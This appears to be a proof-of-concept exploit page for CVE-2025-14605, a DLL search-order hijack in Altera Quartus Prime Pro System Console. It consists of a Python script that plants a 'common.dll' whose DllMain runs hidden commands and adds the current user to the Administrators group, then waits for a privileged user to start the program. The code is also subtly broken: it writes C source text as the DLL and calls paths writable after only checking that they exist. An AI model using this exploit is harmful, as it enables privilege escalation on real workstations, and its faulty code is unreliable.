CVE-2025-14605 Altera Quartus Prime Pro搜索路径劫持漏洞

# CVE-2025-14605 PoC - Search Order Hijacking # Target: Altera Quartus Prime Pro System Console (Windows) # Affected Versions: 17.0 through 25.1.1 import os import shutil import ctypes from ctypes import wintypes # Malicious DLL that will be planted MALICIOUS_DLL = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell or execute payload WinExec("cmd.exe /c whoami > C:\\\\Temp\\\\poc_output.txt", SW_HIDE); // Alternatively, add current user to Administrators group system("net localgroup Administrators %USERNAME% /add"); } return TRUE; } ''' def create_malicious_dll(dll_path): """Generate malicious DLL for exploitation""" with open(dll_path, 'w') as f: f.write(MALICIOUS_DLL) print(f"[+] Created malicious DLL at: {dll_path}") def get_quartus_search_paths(): """Identify Quartus Prime search paths vulnerable to hijacking""" quartus_paths = [ os.path.expandvars(r'%APPDATA%\\Altera\\QuartusPrime\\'), os.path.expandvars(r'%LOCALAPPDATA%\\Altera\\QuartusPrime\\'), os.path.expandvars(r'%PROGRAMDATA%\\Altera\\QuartusPrime\\'), ] # System Console specific paths system_console_paths = [ r'C:\\Program Files\\Altera\\QuartusPrime\\pro\\bin\\', r'C:\\Program Files\\Altera\\QuartusPrime\\pro\\bin64\\', ] return quartus_paths + system_console_paths def plant_dll(target_dir, dll_name="common.dll"): """Plant malicious DLL in Quartus search path""" dll_path = os.path.join(target_dir, dll_name) create_malicious_dll(dll_path) print(f"[+] DLL planted in: {dll_path}") print("[!] Wait for privileged user to launch Quartus Prime System Console") return dll_path def exploit(): """Main exploitation routine""" print("=== CVE-2025-14605 Search Order Hijacking PoC ===") print("[*] Target: Altera Quartus Prime Pro System Console") print("[*] Method: DLL Search Order Hijacking") # Identify vulnerable paths paths = get_quartus_search_paths() for path in paths: if os.path.exists(path): print(f"[+] Found writable Quartus path: {path}") plant_dll(path) break else: print("[-] No writable Quartus paths found") print("[*] Manual exploitation: Place DLL in Quartus installation directory") if __name__ == "__main__": exploit()